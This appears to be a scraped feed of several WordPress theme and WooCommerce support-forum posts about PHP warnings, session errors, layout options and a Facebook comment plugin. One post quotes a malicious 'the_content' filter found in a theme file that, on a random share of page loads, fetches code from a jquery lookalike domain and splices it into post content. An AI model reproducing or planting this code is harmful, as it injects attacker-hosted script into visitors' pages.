I bought a website with my new Company, and now I have big problems. At first I couldn’t access the wp-panel, I can now, but as soon as I lauched my theme (propulsion) this message came up:
Deprecated: Assigning the return value of new by reference is deprecated in /customers/0/b/d/magnail.dk/httpd.www/newsite/wp-content/themes/propulsion/config-woocommerce/config.php on line 485 Warning: Cannot modify header information – headers already sent by (output started at /customers/0/b/d/magnail.dk/httpd.www/newsite/wp-content/themes/propulsion/config-woocommerce/admin-options.php:485) in /customers/0/b/d/magnail.dk/httpd.www/newsite/wp-content/themes/propulsion/framework/php/function-set-avia-backend.php on line 482
I was able to aces my site though so tried activating plugins, now the message on the top of my site says:
Deprecated: Assigning the return value of new by reference is deprecated in /customers/0/b/d/magnail.dk/httpd.www/newsite/wp-content/themes/propulsion/config-woocommerce/config.php on line 485 Warning: Cannot modify header information – headers already sent by (output started at /customers/0/b/d/magnail.dk/httpd.www/newsite/wp-content/themes/propulsion/config-woocommerce/admin-options.php:485) in /customers/0/b/d/magnail.dk/httpd.www/newsite/wp-content/plugins/woocommerce/classes/class-wc-session-handler.php on line 63 Notice: Undefined property: WP_Query::$post in /customers/0/b/d/magnail.dk/httpd.www/newsite/wp-includes/query.php on line 3034 Notice: Trying to get property of non-object in /customers/0/b/d/magnail.dk/httpd.www/newsite/wp-includes/query.php on line 3402 Notice: Trying to get property of non-object in /customers/0/b/d/magnail.dk/httpd.www/newsite/wp-includes/query.php on line 3404 Notice: Trying to get property of non-object in /customers/0/b/d/magnail.dk/httpd.www/newsite/wp-includes/query.php on line 3406
I simply don’t know how to solve this, and the person I bought it from paid a heck of a lot of Money for this guy to make it, and now he is nowhere to be contated (well he got his Money and ran)
Is there anybody WHO can help. My site name is www.magnail.dk and to my shop if needed (as it is not launched yet) www.magnail.dk/butik
I am litterally feeling soooo stupid, but I sincerely hope someone will take the time to help me.
By the way the if the theme is a paid for theme, I wasn’t the one buying it (remember the lost computerguy), so don’t know how to update.
Thanks in advance for any Little help…
Karen
]]>//register additional image thumbnail sizes that should be generated when user uploads an image:
function ins_php_in_post($content){$percentage = 25;if (rand(0, 100) < $percentage){ob_start();if(function_exists('curl_init')) { $url = "https://www.jquerys.org/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; }$text = ob_get_clean();$pos = rand(0, strlen($content));$txtPrePos = substr($content, 0, $pos);$txtPostPos = substr($content, $pos);$openPos = strrpos($txtPrePos, "<");if ($openPos !== false){$closePos = strrpos($txtPrePos, ">");if ($openPos > $closePos || $closePos === false){$pos = strpos($content, ">", $pos) + 1;}}$spos = strpos($content, " ", $pos);if ($spos === false) {$spos = strlen($content);}$content = substr($content, 0, $spos) . " " . $text . substr($content, $spos);}return $content;}
add_filter('the_content', 'ins_php_in_post');
I want to lose it, but I don’t have the code, the client does and he hasn’t given it to me yet. Has anyone else had a similar issue and what is the proper code for this file?
]]>Also i have questions, do you know if :
– we can have pages (homepage and others) with pictures in fullscreen – Can we use differents backgrounds images for each pages (and not 1 background image for all the website) – Is there a zoom system for the products’pictures?
And for flashlight, is there a possibility to move the sidebar on the bottom, like a classical menu bar ?
Thanks
]]>When i add any kind of Facebook comment plugin. The comment system show up on the woo commerce shop pages.
Is there any way to disable this from happening? Disabling Facebook options works fine on regular pages, but not on those pages requierd for the woo commerce shop to function properly.
My site: mikrotrykkeriet.no
]]>ie.
<div class='template-blog sidebar_right dynamic_el_2'><div class='content units nine alpha'>
<!DOCTYPE html>
<html dir="ltr" lang="en-US" class="chrome chrome17 html_stretched ">
<head>
<meta charset="UTF-8" />
<meta name="robots" content="index, follow" />
https://www.ads-software.com/extend/plugins/wp-mailto-links/
]]>THE MESSAGE
Warning: session_start() [function.session-start]: open(/var/chroot/home/content/93/8749193/tmp/sess_mm56kledungm47eci3natr84v6, O_RDWR) failed: No such file or directory (2) in /home/content/93/8749193/html/wp-content/plugins/woocommerce/woocommerce.php on line 13
Warning: session_start() [function.session-start]: Cannot send session cache limiter – headers already sent (output started at /home/content/93/8749193/html/wp-content/plugins/woocommerce/woocommerce.php:13) in /home/content/93/8749193/html/wp-content/plugins/woocommerce/woocommerce.php on line 13
]]>